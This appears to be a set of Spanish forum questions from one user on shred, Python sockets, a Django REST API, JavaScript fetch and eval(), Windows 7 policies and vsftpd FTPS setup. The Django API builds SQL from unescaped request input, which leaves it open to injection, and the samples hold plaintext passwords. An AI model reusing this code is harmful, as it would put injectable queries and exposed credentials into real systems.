Temas

Buenos dias.

Siempre he tenido una pregunta curiosa sobre el comando shred....

Como bien sabemos el comando shred, nos permite hacer un borrado seguro desde cualquier distribucion.

Yo acostumbro mucho a utilizar estos parametros

shred -vuz -n 10 <file>

Los parametros son:

• -u: Elimina el archivo una vez sobrescrito
• -z: Sobrescribe el archivo a zeros (supongo que es el que se encarga de convertir los bits 1 a 0)
• -v: Pinta por pantalla el proceso de shred
• -n: Numero de sobrescrituras que hace antes de eliminar el archivo (si esta el -u)

Ok, hasta aquí lo entiendo, pero la pregunta del millon..... ¿Porque tantas pasadas?

Yo lo entiendo así, y es que, el -z convierte los bits 1 a 0, haciendo que este no se pueda recuperar con alguna herramienta foranea (ejemplo: foremost).

Se dice que (o lo he leido/oido) que cuando más pasadas más seguro es y...¿menos posible de recuperar? eso me suena, pero de donde.

En caso de que se pueda recuperar,¿no es imposible auque sea una unica pasada (sobrescrito una iteracion)?

No acabo de entender porque tantas iteraciones...

Es por mera curiosidad...para entender más sobre su funcionamiento auque no he visto ningún sitio que explicara la razon de las iteraciones....

Además la salida que este imprime en pantalla....como lo interpreto??

$ shred -uzv -n 5 2021-12-04-23-07-11.031-VBoxSVC-1990.log
shred: 2021-12-04-23-07-11.031-VBoxSVC-1990.log: pass 1/6 (random)...
shred: 2021-12-04-23-07-11.031-VBoxSVC-1990.log: pass 2/6 (000000)...
shred: 2021-12-04-23-07-11.031-VBoxSVC-1990.log: pass 3/6 (random)...
shred: 2021-12-04-23-07-11.031-VBoxSVC-1990.log: pass 4/6 (ffffff)...
shred: 2021-12-04-23-07-11.031-VBoxSVC-1990.log: pass 5/6 (random)...
shred: 2021-12-04-23-07-11.031-VBoxSVC-1990.log: pass 6/6 (000000)...
shred: 2021-12-04-23-07-11.031-VBoxSVC-1990.log: removing
shred: 2021-12-04-23-07-11.031-VBoxSVC-1990.log: renamed to 0000000000000000000000000000000000000000
shred: 0000000000000000000000000000000000000000: renamed to 000000000000000000000000000000000000000
shred: 000000000000000000000000000000000000000: renamed to 00000000000000000000000000000000000000
shred: 00000000000000000000000000000000000000: renamed to 0000000000000000000000000000000000000
shred: 0000000000000000000000000000000000000: renamed to 000000000000000000000000000000000000
shred: 000000000000000000000000000000000000: renamed to 00000000000000000000000000000000000
shred: 00000000000000000000000000000000000: renamed to 0000000000000000000000000000000000
shred: 0000000000000000000000000000000000: renamed to 000000000000000000000000000000000
shred: 000000000000000000000000000000000: renamed to 00000000000000000000000000000000
shred: 00000000000000000000000000000000: renamed to 0000000000000000000000000000000
shred: 0000000000000000000000000000000: renamed to 000000000000000000000000000000
shred: 000000000000000000000000000000: renamed to 00000000000000000000000000000
shred: 00000000000000000000000000000: renamed to 0000000000000000000000000000
shred: 0000000000000000000000000000: renamed to 000000000000000000000000000
shred: 000000000000000000000000000: renamed to 00000000000000000000000000
shred: 00000000000000000000000000: renamed to 0000000000000000000000000
shred: 0000000000000000000000000: renamed to 000000000000000000000000
shred: 000000000000000000000000: renamed to 00000000000000000000000
shred: 00000000000000000000000: renamed to 0000000000000000000000
shred: 0000000000000000000000: renamed to 000000000000000000000
shred: 000000000000000000000: renamed to 00000000000000000000
shred: 00000000000000000000: renamed to 0000000000000000000
shred: 0000000000000000000: renamed to 000000000000000000
shred: 000000000000000000: renamed to 00000000000000000
shred: 00000000000000000: renamed to 0000000000000000
shred: 0000000000000000: renamed to 000000000000000
shred: 000000000000000: renamed to 00000000000000
shred: 00000000000000: renamed to 0000000000000
shred: 0000000000000: renamed to 000000000000
shred: 000000000000: renamed to 00000000000
shred: 00000000000: renamed to 0000000000
shred: 0000000000: renamed to 000000000
shred: 000000000: renamed to 00000000
shred: 00000000: renamed to 0000000
shred: 0000000: renamed to 000000
shred: 000000: renamed to 00000
shred: 00000: renamed to 0000
shred: 0000: renamed to 000
shred: 000: renamed to 00
shred: 00: renamed to 0
shred: 2021-12-04-23-07-11.031-VBoxSVC-1990.log: removed

Si alguíen me lo puede explicar, para entender....se lo agradeceria.

Gracias de antemano. 

Buenas. Estoy haciendo una arquitectura servidor-multicliente con sockets in python3

Para esto utilizo la libreria multiprocessing

Código (python) [Seleccionar] Expandir


sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("",PORT))
sock.listen(CLIENTS)
print(logFile().message(f"running ClassAdmin server, listen {CLIENTS} clients by port {PORT}...",True,"INFO"))
sockSSL = context.wrap_socket(sock,server_side=True)
childProcess = [] # This storages the childs processes
event = multiprocessing.Event() # listening events of childs processes
threading.Thread(target=Client.handlerEvent,name="exitChildProcess",args=(event,childProcess,)).start()
while sockSSL:
    connection, address = sockSSL.accept()
    subproccess = multiprocessing.Process(target=Client,name="client",args=(connection,address,event))
    subproccess.start()
    childProcess.append(subproccess)
    time.sleep(1)

En este código, la variable  'event' is un evento de la libreria multiprocessing que esta en escucha de que algún proceso hijo lo active.

Código (python) [Seleccionar] Expandir


threading.Thread(target=Client.handlerEvent,name="exitChildProcess",args=(event,childProcess,)).start()


Ejecuto un hilo que ejecutará el metodo estatico handlerEvent de la clase Client que se encargará de ver si la variable 'event' es activado

Código (python) [Seleccionar] Expandir


@staticmethod
def handlerEvent(event,childProcesses):
    while True:
        if event.is_set():
            print(childProcesses)
            # terminate child process
            break
        time.sleep(.5)


En el while ejecuto un subproceso, haciendo que para cada cliente que se conecte este se ejecutará en un proceso hijo.

La clase Client es la siguiente:

Código (python) [Seleccionar] Expandir


class Client:
def __init__(self,conn,addr,event):
    try:
        self.conn, self.addr = conn, addr
        print(logFile().message(f"Client {self.addr[0]} connected by port {self.addr[1]}", True, "INFO"))
        self.__listenData()
    except (KeyboardInterrupt,SystemExit) as err:
        print(logFile().message(f"The client {self.addr[0]} left", True, "INFO"))
    except BaseException as err:
        type, object, traceback = sys.exc_info()
        file = traceback.tb_frame.f_code.co_filename
        line = traceback.tb_lineno
        print(logFile().message(f"{err} in {file}:{line}", True, "ERROR"))
    finally:
        try:
            self.conn.close()
        except:
            None
        finally:
            event.set()
#[...]
@staticmethod
def handlerEvent(event,childProcesses):
    while True:
        if event.is_set():
            print(childProcesses)
            # terminate child process
            break
        time.sleep(.5)


La idea es la siguiente:
El cliente se conecta y este se ejecuta la clase Client en un proceso hijo. Y así para cada cliente que se conecte. En el segundo cliente se ejecuta la clase Client en otro proceso hijo y así consecutivamente....

Vale, pues. El init de la clase tengo try...except para si el cliente se cierra este ejecuta el exception (alguno de los dos). Pero siempre cuando se cierra un cliente se ejecutará el finally (el primero). Que se encargará de hacer:

Código (python) [Seleccionar] Expandir


self.conn.close()

Y después se ejecutará el finally:

Código (python) [Seleccionar] Expandir


event.set()


Por la cual el metodo handlerEvent de la clase Client detectará que el event es true

Código (python) [Seleccionar] Expandir


@staticmethod
def handlerEvent(event,childProcesses):
    while True:
        if event.is_set():
            print(childProcesses)
            # terminate child process
            break
        time.sleep(.5)

y ejecutará lo que hay dentro del if. Mi idea es coger el PID del proceso hijo que ha hecho el event.set(). Pues así puedo hacer un for y matar el proceso que coincida con el PID. Pero como lo hago?



En el cliente cuando hago el:

Código (python3) [Seleccionar] Expandir


event.set()

puedo obtener el PID del proceso hijo haciendo:

Código (python3) [Seleccionar] Expandir


        finally:
            print(os.getpid())
            event.set()


Sí hago esto si me obtiene el PID del hijo, pues este PID tendría que enviarlo al handlerEvent() como puedo hacer esto?





Si alguíen tiene alguna idea de como puedo hacerlo o alguna alternativa, lo agradeceria.

Gracias.

Buenos dias, ¿como estais?  

Tengo un pequeño problemilla. Os cuento, estoy haciendo una API en Django [sin Django REST Framework  ] y esta API el usuario puede utilizarla si se autentifica con metodo Basic Auth

Donde pone Username es la Password
Y donde pone password es el OTP

Mi API hace esto:

Código (python) [Seleccionar] Expandir


@csrf_exempt
   def requests(self,req,table:str,columns:list=False):
       try:
           try:
               if not loginAdmin(req.headers['password'], int(req.headers['otp'])):
                   raise Exception("Access denied")
           except:
               raise Exception("You need authentication")
           conn = sqlite3.connect(Environment().pathDB())
           cursor = conn.cursor()

es parte del codigo, pues yo estoy aqui seleccionando las keys password y otp del header, pero segun me he informado de que se muestra en el header en la key "Authorization" con encriptacion BASE64
https://learning.postman.com/docs/sending-requests/authorization/#basic-auth

Pero yo he hecho return de req.headers y no hay ninguna key llamada "Authorization" o "Authorization", pero en el postman si se ve

He estado buscando info y segun dicen si con req.META hay una HTTP_AUTHORIZATION, pero no se muestra ninguno

GATEWAY_INTERFACESERVER_PROTOCOLREQUEST_METHODQUERY_STRINGREQUEST_URISCRIPT_NAMEPATH_INFOPATH_TRANSLATEDHTTP_HOSTHTTP_USER_AGENTHTTP_ACCEPT_ENCODINGHTTP_ACCEPTHTTP_CONNECTIONSERVER_SIGNATURESERVER_SOFTWARESERVER_NAMESERVER_ADDRSERVER_PORTREMOTE_ADDRDOCUMENT_ROOTREQUEST_SCHEMECONTEXT_PREFIXCONTEXT_DOCUMENT_ROOTSERVER_ADMINSCRIPT_FILENAMEREMOTE_PORTmod_wsgi.script_namemod_wsgi.path_infomod_wsgi.process_groupmod_wsgi.application_groupmod_wsgi.callable_objectmod_wsgi.request_handlermod_wsgi.handler_scriptmod_wsgi.script_reloadingmod_wsgi.listener_hostmod_wsgi.listener_portmod_wsgi.enable_sendfilemod_wsgi.ignore_activitymod_wsgi.request_startmod_wsgi.request_idmod_wsgi.script_startwsgi.versionwsgi.multithreadwsgi.multiprocesswsgi.run_oncewsgi.url_schemewsgi.errorswsgi.inputwsgi.input_terminatedwsgi.file_wrapperapache.versionmod_wsgi.versionmod_wsgi.total_requestsmod_wsgi.thread_idmod_wsgi.thread_requests

Aqui dejo la API:

Código (python) [Seleccionar] Expandir


from sources import loginAdmin,Environment,logFile
import sqlite3,re
from django.urls import  path
from django.http import JsonResponse, HttpResponse, QueryDict
from django.views.decorators.csrf import csrf_exempt

"""
==========================API REST==========================
SYNTAX:
   127.0.0.1/api[/table,table1,table3,...][/column]?<key>=[>|<|>=|<=]<value>&[|]<key>=[>|<|>=|<=]<value>&LIMIT=<min>[,max]
============================================================
IMPORTANT:
   For do a request you need authentication with password and OTP

EXAMPLES:
   GET:
       127.0.0.1/api/server -> SELECT * FROM server
       127.0.0.1/api/server?LIMIT=5 -> SELECT * FROM server LIMIT 5
       127.0.0.1/api/server?password=ejem&id=1&LIMIT=5,7 -> SELECT * FROM server WHERE password='ejem' AND id=1 LIMIT 5,7
       127.0.0.1/api/server/otp,id -> SELECT otp,id FROM server
       127.0.0.1/api/server/otp?id=1&password=hola -> SELECT otp FROM server WHERE id=1 AND password='hola'
       127.0.0.1/api/server/otp?id=1&|password=hola -> SELECT otp FROM server WHERE id=1 OR password='hola'
       
   POST:
       127.0.0.1/api/server -> INSERT INTO server (otp,ejem) VALUES (1234,'1233da')
           Body x-www-form-urlencoded
               key     value
               --------------------
               otp     1234
               ejem    1233da
               
       IMPORTANT: The params in the url doesn't affect
       
   PUT:
       127.0.0.1/api/server?port=8899&|password=h -> UPDATE server SET otp='1234', ejem='1233da' WHERE port=8899 OR password='h'
           Body x-www-form-urlencoded
               key     value
               --------------------
               otp     1234
               ejem    1233da
               
   DELETE:
       127.0.0.1/api/server?port=8899&password=h -> DELETE FROM server WHERE port=8899 AND password='h'
           not body data
"""

class getData:
   def __init__(self,data):
       self.list = QueryDict(data)
       self.output = ''

   # This method returns key1,key2,key3...
   # For clause as SELECT, INSERT
   def getKeys(self):
       for t in self.list:
           self.output+=f'{t},'
       self.output = re.sub(r",$","",self.output)
       return self.output

   # This method returns value1,value2,value3...
   # For clause as SELECT, INSERT
   def getValues(self):
       for t in self.list:
           try:
               if int(self.list[t]):
                   self.output+=f'{self.list[t]},'
           except:
               self.output += f"'{self.list[t]}',"
       self.output = re.sub(r",$","",self.output)
       return self.output

   # This method returns key1=value1, key2=value2, key3=value3
   # being '=' the 'delimitator'
   # For clause as UPDATE
   def keysValues(self,delimitator):
       for value in self.list:
           self.output+=f"{value}{delimitator}'{self.list[value]}', "
       self.output = re.sub(r", $", "", self.output)
       return self.output

class Database:
   # if there are columns, show it
   def columns(self,columns):
       if columns:
           return  columns
       else:
           return "*"

   # This method add the operator specified in the url
   def keyWhere(self,key):
       operator = re.sub(r"[^>|<|=]","",key)
       value = re.sub(r"[>|<|=]","",key)
       if operator == "":
           operator="="
       try:
           if int(value):
               return f"{operator}{value}"
       except:
           return f"{operator}'{value}'"

   def LimitClause(self,params):
       if params:
           output = ''
           for key in params:
               if key=="LIMIT":
                   output=f" LIMIT {params[key]}"
           return output
       else:
           return ""

   # This method add AND or OR in each condition in WHERE
   def WhereClause(self,params):
       if params:
           output=''
           for key in params:
               if key=="LIMIT":
                   continue
               operator = "OR" if key[0]=="|" else "AND"
               if list(params).index(key) > 0:
                   output+=f" {operator} {key[1::] if operator=='OR' else key}{self.keyWhere(params[key])}"
               else:
                   output += f"WHERE {key[1::] if operator=='OR' else key}{self.keyWhere(params[key])}"
           return output
       else:
           return ""

   @csrf_exempt
   def requests(self,req,table:str,columns:list=False):
       try:
           try:
               if not loginAdmin(req.headers['password'], int(req.headers['otp'])):
                   raise Exception("Access denied")
           except:
               raise Exception("You need authentication")
           conn = sqlite3.connect(Environment().pathDB())
           cursor = conn.cursor()
           if req.method == "GET":
               data = cursor.execute(f"SELECT {self.columns(columns)} FROM {table} {self.WhereClause(req.GET.dict())}{self.LimitClause(req.GET.dict())}")
               data = list(data)
               conn.close()
               if len(data) == 0:
                   data = None
               return JsonResponse({
                   "result": data
               })
           elif req.method == "POST":
               if columns:
                   raise Exception("POST not allowed")
               cursor.execute(f"INSERT INTO {table} ({getData(req.body).getKeys()}) VALUES ({getData(req.body).getValues()})")
               conn.commit()
               conn.close()
               return JsonResponse({"INSERT":True})
           elif req.method == "PUT":
               if columns:
                   raise Exception("PUT not allowed")
               cursor.execute(f"UPDATE {table} SET {getData(req.body).keysValues('=')} {self.WhereClause(req.GET.dict())}")
               conn.commit()
               conn.close()
               return JsonResponse({"UPDATE": True})
           elif req.method == 'DELETE':
               if columns:
                   raise Exception("DELETE not allowed")
               cursor.execute(f"DELETE FROM {table} {self.WhereClause(req.GET.dict())}")
               conn.commit()
               conn.close()
               return JsonResponse({"DELETE": True})
       except sqlite3.Error as err:
           return HttpResponse(logFile(True).message(f"DB -> {err}",True))
       except Exception as err:
           return HttpResponse({f"Error in the API REST -> {err}"})
urlpatterns=[
   path('<table>',Database().requests),
   path('<table>/<columns>',Database().requests)
]


¿Como yo puedo mostrar los datos del Auth? Muchas gracias.

P.D: Cualquier comentario, sugerencia u opinion sobre la mejora del código, lo agradecería mucho. Mil gracias.

Código [Seleccionar] Expandir


.
├── ClassAdmin
│   ├── ClassAdmin
│   │   ├── __init__.py
│   │   ├── settings.py
│   │   ├── static
│   │   │   ├── css
│   │   │   │   ├── fonts.css
│   │   │   │   ├── pageLogin.css
│   │   │   │   └── styles.css
│   │   │   ├── data.json
│   │   │   ├── fonts
│   │   │   │   └── Allura-Regular.ttf
│   │   │   ├── images
│   │   │   │   ├── ClassAdminLogo.png
│   │   │   │   └── wallpaper.png
│   │   │   └── js
│   │   ├── templates
│   │   │   ├── pageLogin.html
│   │   │   └── src
│   │   │       └── base.html
│   │   ├── urls.py
│   │   ├── views.py
│   │   └── wsgi.py
│   ├── ClassAdmin.sqlite3
│   └── manage.py
└── sources
    └── __init__.py


Buenas, tengo un modulo llamado sources que es una carpeta con el archivo __init__.py, en el propio archivo esta la siguiente clase:

Código (Python) [Seleccionar] Expandir


class Environment:
    def __init__(self):
        self.directory = os.environ.get("CLASSADMIN")
    def pathDB(self):
        if platform.system() == "Windows":
            return f"{self.directory}\\ClassAdmin\\ClassAdmin.sqlite3"
        elif platform.system() == "Linux":
            return f"{self.directory}/ClassAdmin/ClassAdmin.sqlite3"
    def pathLog(self,name:str):
        if platform.system() == "Windows":
            return f"{self.directory}/{name}.log"
        elif platform.system() == "Linux":
            return f"/var/log/{name}.log"



Y desde el archivo settings.py haciendo el import quiero acceder a la variable directory que esta en el init de la clase Environment.

Código (Python) [Seleccionar] Expandir


from sources import *
STATIC_ROOT = f'{Environment().directory}/ClassAdmin/ClassAdmin/static'

Pero esto me devuelve None

[Errno 2] No such file or directory: 'None/ClassAdmin/ClassAdmin/static/data.json'

Porque pasa esto? si al hacer una clase con una variable self en el init puedes acceder a ella, no entiendo.

Que esta ocurriendo?
Gracias

Buenas! Quisiera crear un servicio en android (mi huawei p10) que cuando arrenque el telefono se incie un servicio que ejecute un script en python de conexion sockets (cliente).

Similar a como si fuera un archivo .service de linux....¿Existe la posibilidad de eso? Modificando algo del arbol de directorios de Storage o Card.....He visto posts en internet sobre ello, pero creando codigo JAVA y para una aplicacion apk. en concreto. Mi idea en crear un servicio pero que no cuelga de ninguna apk.

Se puede conseguir eso de alguna manera?

Muchas gracias.

Buenos dias.

Estoy configurando un sistema windows 7 Embedded, lo estoy configurando con un usuario administrador local en un equipo local sin dominio. Y en el proceso debo de acceder a las caracteristicas de windows accediendo a Panel de Control > Programas > Programas y Caracteristicas > Activar o desactivar caracteristicas de windows. El problema que tengo es que esta opción esta deshabilitada, y me salta este mensaje: "El administrador del sistema deshabilitó las caracteristicas de windows".

Esto debe ser las políticas de grupo. He buscado en internet y me sale un posible solución que es ir a W+R > gpedit.msc y en la ventana buscamos Configuración de usuario > Plantillas Administrativas > Panel de Control > Programas

• Ahí abrá una opción que es: ocultar las "caracteristicas de windows". Este esta en estado "no configurada", por la cual el problema no está ahí. Ya que si "El administrador del sistema deshabilitó las caracteristicas de windows". teoricamente deberia esta en "Habilitada". Pues esta no esta.
• También lo he mirado en el editor de registro de windows en la ruta HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\, según he visto al haber el mensaje "El administrador del sistema deshabilitó las caracteristicas de windows", en esta ruta deberia de haber una carpeta llamada Programas y dentro el archivo de configuración con clave DWORD NoWindowsFeatures. Que su valor deberia ser 1 y deberia de ponerlo a 0, para deshabilitar el acceso a las caracteristicas de windows. Pues para empezar no existe ni la carpeta. (Puedo crearlo yo?)
• También la opción de acceder a las caracteristicas de windows a traves del CMD, no me va. Ya que no me aparece ninguna lista.
• He mirado en el sistema y en la herramienta MMC, no existe configuración (la raiz esta vacia)
• Ademas accediendo a MMC y creando una nueva directiva de grupo para el usuario administrador con ocultar las "caracteristicas de windows" deshabilitado, no me funciona.

¿Saben de alguna manera como puedo deshabilitar las "caracteristicas de windows"? Donde se modifican las politicas de grupo en especifico el grupo "administradores"?

Gracias.

En el HTML llamo al script panel.js con tipo module

Código (html) [Seleccionar] Expandir

<script src="../js/panel.js" type="module"></script>

Ahroa bien en el archivo panel.js
panel.js

Código (javascript) [Seleccionar] Expandir


import {DB} from './crud.js';
const API='http://localhost:5000/miramar';
const formLogin=document.querySelector("body #formLogin");

const login=(e)=>{
   e.preventDefault();
   let password = formLogin['pass'].value;
   let user = formLogin['user'].value;
   let empleados=new DB(`${API}/empleados/`).show();
   console.log(empleados);
}

const init=()=>{
   formLogin.addEventListener("submit",login);
}

init();

Cuando hago click en submit del formulario este me recoge los datos del formulario y también quiero que me recoja los datos de una peticion fetch a una API que tengo.
Para ello creo la clase DB() con el metodo show() para que me devuelva el objecto.

La clase esta definida en el archivo crud.js

Código (javascript) [Seleccionar] Expandir


export class DB{
   constructor(API){
       this.API=API;
       this.result;
   }
   show(){
       fetch(this.API)
       .then(res=>res.json())
       .then(data=>this.result=data);
       return this.result;
   }
}


el problema que tengo es que en el archivo panel.js hago

Código (javascript) [Seleccionar] Expandir


   let empleados=new DB(`${API}/empleados/`).show();
   console.log(empleados);


y me devuelve undefined.

Ahora bien.
Si lo hago con promesas, me devuelve que el estado de la promesa es pending

Código (javascript) [Seleccionar] Expandir


export class DB{
   constructor(API){
       this.API=API;
       this.result;
   }
   async show(){
       /*fetch(this.API)
       .then(res=>res.json())
       .then(data=>this.result=data);
       return this.result;*/
       let res = await fetch(this.API);
       let data = await res.json();
       this.result=data;
       return this.result;
   }


Pero si en el console.log le pongo un setTImeout de 1 segundo me devulve la promesa con los valores, pero no puedo obtener sus valores, o como los obtengo?

Código (javascript) [Seleccionar] Expandir


  setTImeout(()=>console.log(empleados),1000)

Pero si el setTimeout lo hago dentro de la clase no me funciona, solo en el panel.js
PD.
Los datos que quiero coger son:

Código (json) [Seleccionar] Expandir


[
 {
   "APELLIDOS": [
     "León",
     "Guerrero"
   ],
   "_id": "609e833e6746526127be53e6",
   "NOMBRE": "Jhilmar",
   "NACIMIENTO": "2002-02-19T00:00:00.000Z",
   "GENERO": "M",
   "CONTRASENA": "Jhilmar"
 },
 {
   "APELLIDOS": [
     "Antonio",
     "Salazar"
   ],
   "_id": "609e83f26746526127be53e7",
   "NOMBRE": "Juan",
   "NACIMIENTO": "2002-02-19T00:00:00.000Z",
   "GENERO": "M",
   "CONTRASENA": "Juan Antonio"
 },
 {
   "APELLIDOS": [
     "Napola"
   ],
   "_id": "609e84116746526127be53e8",
   "NOMBRE": "Carmen",
   "NACIMIENTO": "2002-02-19T00:00:00.000Z",
   "GENERO": "F",
   "CONTRASENA": "Carmen"
 }

https://drive.google.com/drive/folders/1pSGu0ql9ZklDvDCu56vuh16FYB-HPwbU?usp=sharing

Gracias

Buenas, quisiera añadir un objecto a un JSON externo con javascript, esto es posible con el fetch() de JS o XMLHttpRequest?

Es decir, yo tengo un JSON en /jon/users.json (inicialmente esta vacio)

Código (JSON) [Seleccionar] Expandir


[
]


Y en mi javascript genero un objecto que lo guardo en una variable, por ejemplo

Código (js) [Seleccionar] Expandir


let data = {
  "nick": "Drakaris",
  "password": "d404559f602eab6fd602ac7680dacbfaadd13630335e951f097af3900e9de176b6db28512f2e000b9d04fba5133e8b1c6e8df59db3a8ab9d60be4b97cc9e81db",
  "pleasures": [
    "romantic"
  ],
  "dateOfBirth": "2021-02-09",
  "gender": "female"
}

y este lo quiero guardar en el JSON /json/users.json

Para ello, según tengo entendido se puede hacer con el fetch() metodo POST?

Algo así

Código [Seleccionar] Expandir


            let data = getDataForm() //obtengo el objeto generado dinamicamente
            fetch("json/users.json",{
                method: "POST",
                body: JSON.stringify(data),
                headers:{
                    "Content-type":"application/json"
                }
            }).then((result)=>result.json())
            .then(dat=>console.log(dat))
            .catch(err=>console.log(err));


Esto me devuelve una array vacio y cuando voy al archivo JSON no me a implementado nada.

Se puede hacer lo quiero hacer?
https://drive.google.com/drive/folders/1BiDcjrPZ3-8qtq9B7ps-dSIu6-neaqY-?usp=sharing

Gracias de antemano

Buenas, tengo un script hecho, que utiliza mucho la funcion eval(), pero no es nada recomendable, en estos casos. Como podría reemplazarlo?

trabajar con arrays/objetos, en este caso añadir:

Código (javascript) [Seleccionar] Expandir


eval("$HERO." + group + ".push('" + item.id.replace("Check","") + "')")


eliminar objetos

Código (javascript) [Seleccionar] Expandir


eval("delete $HERO." + item[0]);


operaciones

Código (javascript) [Seleccionar] Expandir


eval("$HERO.skills." + skill + "" + operator + "=" + countSkill);


Código (javascript) [Seleccionar] Expandir


eval("$ELEMENTSPOINTS." + type + "." + element);

En este caso quiero mostrar en el objeto $ELEMENTSPOINTS el elemento de su tipo, se que se puede hacerse así:

Código (javascript) [Seleccionar] Expandir


$ELEMENTSPOINTS[type];

pero es solo para mostrar el subobjecto ELEMENTSPOINTS con todas sus propiedades, pero no el valor de uno en concreto.


Utilizo tanto el eval(), porque es dinamico, todos los eval estan dentro de una funcion que contiene parametros, cuyos parametros los utilizo en el eval(). Como lo hago sin utilizarlo?


Los objetos, son los siguientes:

Código (javascript) [Seleccionar] Expandir


$HERO={
   name:null,
   magic:[],
   weapons:[],
   gems:[],
   skills:{
       attack:0,
       defenser:0,
       speed:0
   }
}
const $ELEMENTSPOINTS={
   magic:{ // +
       lightning:{
           attack:10
       },
       ice:{
           attack:4,
           defenser:3
       },
       fire:{
           attack:8
       },
       wind:{
           defenser:2
       }
   },
   weapons:{
       sword:{
           attack:5,
           speed:1 // the speed substraction in the operation
       },
       shield:{
           defenser:10,
           speed:5
       },
       hatchet:{
           attack:10,
           speed:4
       },
       crossbow:{
           attack:7,
           speed:3
       }
   },
   gems:{ // +
       diamond:{
           lightning:2,
           ice:3,
           fire:5,
           wind:4
       },
       esmerald:{
           lightning:2,
           ice:3,
           fire:5,
           wind:4
       },
       ruby:{
           lightning:3,
           ice:2,
           fire:3,
           wind:2
       },
       sapphire:{
           lightning:2,
           ice:2,
           fire:3,
           wind:4
       }
   }
}


Un ejemplo de cuando utilizo eval:

Código (javascript) [Seleccionar] Expandir


ActionSkills = (type,element,operator)=>{
       if(type != "gems"){
           /*
               The buttons' group aren't gems, so all skills' type got by the specificed element's sub-objects are iterated, and each iteration
               gets skill's number and if the skill's type is 'speed' and operator is '+' the operator is become to '-'
               (because the speed substraction of speed's total count), else if the operator is '-', it is became in '+' (because the button is inactive).

               Finally is add/substraction the value get with the skill's total specificed. Thanks to eval()

               Also, if the button's group clicked is 'magic', apart from does previous it, this runs the function ActionGems()
           */
           for(skill in eval("$ELEMENTSPOINTS." + type + "." + element)){
               countSkill = eval("$ELEMENTSPOINTS." + type + "." + element + "." + skill);
               //console.log(skill + ":" + countSkill);
               (skill == "speed" && operator == " + ")?(operator = "-"):(skill == "speed" && operator == "-")?(operator = " + "):null;
               eval("$HERO.skills." + skill + "" + operator + "=" + countSkill);
           }

           (type == "magic")?ActionGems(type,element,operator):null;
       }else{
           /*
               As are gems, the operation is different. So this executes the function ActionGems()
           */
           ActionGems(type,element,operator);
       }
   }


Gracias de antemano

Buenas, estoy haciendo un registro de jugadores, de manera dinamica, que cuando rellenas un formulario, se guarda en un array los datos y posteriormente se añade a una lista HTML un item con el jugador.
img: https://drive.google.com/file/d/1hOvYRr46p17064tz_1pf9hkF8Lw764Rr/view?usp=sharing

Cuando pasas por el item del jugador, puedes eliminar el usuario, lo hice con un evento onclick, pero mi problema esta que el onclick debe acceder al array definida en el archivo js para poder eliminar el subarray del jugador.

IMPORTANTE: los subarrays se añaden dinamicamente durante el envio del formulario.
file js:

Código (js) [Seleccionar] Expandir


var players=[
    ["player1"],
    ["player2"],
];


HTML:

Código (html) [Seleccionar] Expandir


<html>
    <head>
         <script src='file.js'></script>
    </head>
                        <i class="fas fa-times-circle close-player" onclick="
                            players.splice(this.parentNode.id,1);
                            this.parentNode.parentNode.parentNode.removeChild(this.parentNode.parentNode);
                            console.log(players);
                        "></i>
</html>


El problema esta en que me sale como si players no estuviera definido.

Uncaught ReferenceError: players is not defined

Como lo puedo resolver con onclick?

Gracias

Buenas, tengo instalado el libreoffice 6.1.5.2 en un Debian 10. Me gustaria poder guardar mis archivos a mi servidor FTP. Pero el problema esta en que mi servidor FTP va por SSL, el protocolo es FTPS,  y libreoffice no te permite el FTP/SSL

El servicio que corro es el vsftpd, hay alguna forma de que ftps no sea obligatorio. Es decir yo tengo configurado con SSL. Y cuando esta con SSL no puedo acceder a ftp://midominio.com:3500, pero cuando no esta activado el SSL no puedo acceder a ftps://midominio.com:3500 pero si a ftp://midominio.com:3500.

Puede haber alguna manera, de que accediendo o ftps://midominio.com:3500  o ftp://midominio.com:3500?

Código [Seleccionar] Expandir


rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=YES


Gracias

P.D: Al publicar el tema me añade un http:// delante de ftp:// o ftps:// automaticamente.

Buenas, tengo instalado el libreoffice 6.1.5.2 en un Debian 10. Me gustaria poder guardar mis archivos a mi servidor FTP, para ello libreoffice te lo permite, voy a File > Save remote.... Pero el problema esta en que mi servidor FTP va por SSL, el protocolo es FTPS, en Libreoffice como puedo activar el FTPS....?

El servicio que corro es el vsftpd, hay alguna forma de que ftps no sea obligatorio. Es decir yo tengo configurado con SSL. Y cuando esta con SSL no puedo acceder a ftp://midominio.com:3500, pero cuando no esta activado el SSL no puedo acceder a ftps://midominio.com:3500 pero si a ftp://midominio.com:3500.

Puede haber alguna manera, de que accediendo o ftps://midominio.com:3500  o ftp://midominio.com:3500?

Gracias

P.D: Al publicar el tema me añade un http:// delante de ftp:// o ftps:// automaticamente.

Buenas.
El sistema operativo tiene tres mecanimos para acceder al nucleo: interrupciones, excepciones y traps.

http://www.tugurium.com/gti/termino.php?Tr=trap
Según el Glosario de Terminología Informática (GTI) un trap es:

Operación de bifurcación realizada automáticamente ante la detección de una condición de error.[...] automaticamente asumen el control para analizar e intentar corregir la situación de error.

En la frase:

Operación de bifurcación realizada automáticamente ante la detección de una condición de error.

Que quiere decir que, cuando detecta un error en alguna instruccion, intenta repararlo? Es decir, menos "avisar" al S.O para que este avise al usuario. Lo que hace es repararlo si puede, y hace como si no hubiese ese error?

Gracias

Buenas, estoy configurando mi servidor FTP y me he dado cuenta que al conectarme desde la WAN con el cliente Filezilla, me da el siguiente error:

Server sent pasive reply with unroutable address. Using server address instead.

El problema esta que cuando me conecto port FTPS le pide al server la dirección, y este le dá un IP interna. Me conecto, pero no me lista los archivos.

Yo tebgo configurado en mi vsftpd.conf ssl:

Código [Seleccionar] Expandir


listen=NO
listen_port=3500
listen_ipv6=YES
anonymous_enable=NO
local_enable=YES
write_enable=YES
dirmessage_enable=YES
use_localtime=YES
xferlog_enable=YES
connect_from_port_20=YES
xferlog_file=/var/log/vsftpd.log
xferlog_std_format=YES
idle_session_timeout=300
data_connection_timeout=120
ftpd_banner=FTP server
chroot_local_user=YES
chroot_list_enable=YES
allow_writeable_chroot=YES
chroot_list_file=/etc/users_vsftpd.deny
secure_chroot_dir=/var/run/vsftpd/empty
pam_service_name=vsftpd
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=YES
#utf8_filesystem=YES
###########################
